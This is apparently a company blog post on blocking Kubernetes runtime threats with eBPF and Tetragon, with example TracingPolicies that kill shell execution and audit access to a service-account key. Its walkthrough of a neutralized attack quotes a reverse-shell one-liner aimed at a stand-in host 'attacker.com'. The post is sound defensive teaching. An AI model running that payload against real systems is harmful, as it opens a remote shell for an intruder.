Tekko

Language

Get in Touch →

Usually respond within 24 hours

Back to BlogSecurity

Real-Time K8s Security: Blocking Threats with eBPF and Tetragon

7 min read
KuberneteseBPFTetragonRuntime SecurityDevSecOps
Real-Time K8s Security: Blocking Threats with eBPF and Tetragon

Static analysis, image scanning, and admission controllers are the table stakes of modern Kubernetes security. We spend significant effort ensuring that only 'known good' images are deployed. However, the reality of production environments is that once a container is running, our visibility often drops significantly. If an attacker exploits a zero-day vulnerability in a web framework or a dependency, they aren't stopped by your CI/CD scanner. They are operating in the 'runtime'—the most critical and often the most opaque phase of the software lifecycle.

Traditionally, runtime security relied on heavy-handed approaches like ptrace, LD_PRELOAD hacks, or sidecars that intercepted system calls. These methods shared common flaws: high performance overhead, instability, and the 'bypassability' of user-space agents. This is where eBPF (extended Berkeley Packet Filter) and Tetragon change the game.

The Shift to eBPF-Based Security

eBPF allows us to run sandboxed programs within the Linux kernel without changing kernel source code or loading kernel modules. For security, this is a superpower. Because the kernel is the ultimate arbiter of every process execution, file access, and network connection, eBPF provides a source of truth that cannot be easily subverted by a compromised user-space process.

Unlike traditional auditing tools that collect logs and send them to a remote server for analysis (often resulting in alerts that arrive minutes after the breach), eBPF-based tools can perform filtering and enforcement directly in the kernel. This allows for 'real-time' blocking—stopping a malicious action before the system call even returns.

Introducing Tetragon

Tetragon, part of the Cilium project, is a specialized runtime security and observability tool built on eBPF. While many eBPF tools focus on observability (telling you what happened), Tetragon focuses on enforcement (preventing what shouldn't happen).

Its core architecture relies on a kernel-level agent that monitors events via Kprobes, Tracepoints, and LSM (Linux Security Modules) hooks. It then applies a TracingPolicy—a Kubernetes Custom Resource Definition (CRD)—to determine whether an action is permitted. If a policy violation occurs, Tetragon can immediately kill the offending process or send a signal, effectively neutralizing the threat in microseconds.

Setting Up Tetragon in Kubernetes

To get started, you'll need a Kubernetes cluster (v1.16+) with a Linux kernel that supports eBPF (typically 5.4 or later). Tetragon is most easily installed via Helm:

helm repo add cilium https://helm.cilium.io helm repo update helm install tetragon cilium/tetragon -n kube-system

Once installed, Tetragon runs as a DaemonSet, ensuring every node in your cluster is protected. You can verify the installation by checking the logs of the Tetragon pods or using the tetra CLI tool.

Implementing Your First TracingPolicy

The power of Tetragon lies in its TracingPolicy. Let’s look at a common real-world scenario: preventing the execution of unauthorized binaries in a production namespace.

Imagine a microservice that should only run its entrypoint binary. If an attacker gains shell access via an exploit, the first thing they often do is run curl to download a rootkit or sh to explore the filesystem. We can block this behavior entirely.

Example: Blocking Unauthorized Shell Access

Here is a TracingPolicy that blocks the execution of /bin/sh within a specific namespace:

apiVersion: cilium.io/v1alpha1 kind: TracingPolicy metadata: name: "block-shell-execution" spec: kprobes: - call: "sys_execve" syscall: true args: - index: 0 type: "string" selectors: - matchArgs: - index: 0 operator: "Equal" values: - "/bin/sh" - "/usr/bin/sh" - "/bin/bash" matchNamespaces: - "production" action: Sigkill

Breaking Down the Policy

  • kprobes: We are hooking into the sys_execve system call, which is responsible for executing new programs.
  • args: We capture the first argument (index 0), which is the path to the binary.
  • selectors: We filter for specific values like /bin/sh or /bin/bash specifically within the production namespace.
  • action: Sigkill: This is the critical part. Instead of just logging the event, Tetragon will send a SIGKILL to the process attempting to execute the shell, stopping it instantly.

Advanced Use Case: File Integrity and Sensitive Data

Beyond process execution, Tetragon can monitor and protect file access. A common attack vector involves modifying /etc/shadow or reading sensitive credentials from a mounted volume.

Traditional File Integrity Monitoring (FIM) tools often rely on periodic scans, which can miss transient changes. Tetragon provides real-time FIM. Consider a policy that monitors access to a sensitive configuration file:

apiVersion: cilium.io/v1alpha1 kind: TracingPolicy metadata: name: "monitor-sensitive-files" spec: kprobes: - call: "sys_openat" syscall: true args: - index: 1 type: "string" selectors: - matchArgs: - index: 1 operator: "Equal" values: - "/etc/kubernetes/pki/sa.key" action: Post

In this case, we use action: Post to log the event after it occurs. This is useful for high-fidelity auditing of access to cryptographic keys or secrets. By combining this with a logging pipeline (like FluentBit or Promtail), you create an immutable audit trail of who accessed what and when.

Operationalizing Tetragon: Performance and Observability

As a senior engineer, you're likely concerned about the performance tax. The 'eBPF tax' is significantly lower than the 'Sidecar tax.' Because filtering happens in the kernel, only the events that match your policy are ever sent to user-space. This minimizes context switching and CPU overhead.

However, you should still follow best practices:

  1. Be Specific with Selectors: Avoid broad policies that hook every sys_read across the entire cluster. Use matchNamespaces or matchLabels to limit the scope to high-risk workloads.
  2. Monitor the Monitor: Tetragon exports metrics in Prometheus format. Monitor the tetragon_errors_total and tetragon_events_total metrics to ensure the agent is healthy and not dropping events due to buffer overflows.
  3. Audit Mode First: Before deploying a Sigkill action in production, deploy the policy with an Observable action. Review the logs to ensure you aren't breaking legitimate application behavior (e.g., a cron job that legitimately uses a shell script).

The Developer Experience (DevEx) Angle

Security is often seen as a friction point for developers. Tetragon mitigates this by allowing security teams to define 'Guardrails-as-Code.'

When a developer's process is killed by Tetragon, the logs provide a clear reason: "Process killed by TracingPolicy 'block-shell-execution'". This is much more actionable than a generic 'Connection Refused' error. Furthermore, by integrating these policies into the same GitOps workflow used for application code, developers can see the security constraints early in the development cycle.

Real-World Impact: Neutralizing a Reverse Shell

Let’s walk through what happens during a real attack. An attacker finds a remote code execution (RCE) vulnerability in your Java application. They send a payload that attempts to open a reverse shell: bash -i >& /dev/tcp/attacker.com/4444 0>&1.

  1. The Java process attempts to call execve() for /bin/bash.
  2. Tetragon’s eBPF program, triggered by the sys_execve kprobe, intercepts the call in the kernel.
  3. The program checks the TracingPolicy. It finds a match for /bin/bash in the production namespace.
  4. Tetragon immediately issues a SIGKILL to the process.
  5. The execve call never completes. The attacker receives a 'connection reset' or the process simply disappears.
  6. An alert is sent to your SOC with the full process tree, including the parent process (the Java app), the arguments used, and the container ID.

Without Tetragon, the attacker would have a shell, and your only hope would be detecting the outbound network connection—if you had the right egress filtering in place.

Conclusion

Runtime security is no longer an optional layer in the Kubernetes stack. As the complexity of our applications increases, so does the attack surface. Relying solely on perimeter security and static analysis is a strategy of hope, not a strategy of engineering.

By leveraging eBPF and Tetragon, you can move from reactive logging to proactive enforcement. You gain the ability to:

  • Block malicious process execution in real-time.
  • Audit sensitive file access with zero-day accuracy.
  • Maintain high performance without the overhead of traditional security agents.

Your Next Steps:

  1. Install Tetragon in a development cluster.
  2. Apply a basic TracingPolicy to monitor execve calls in a non-critical namespace.
  3. Use the tetra CLI to observe the events and understand the metadata Tetragon provides.
  4. Gradually move toward enforcement for high-risk binaries like curl, wget, and sh in your production environments.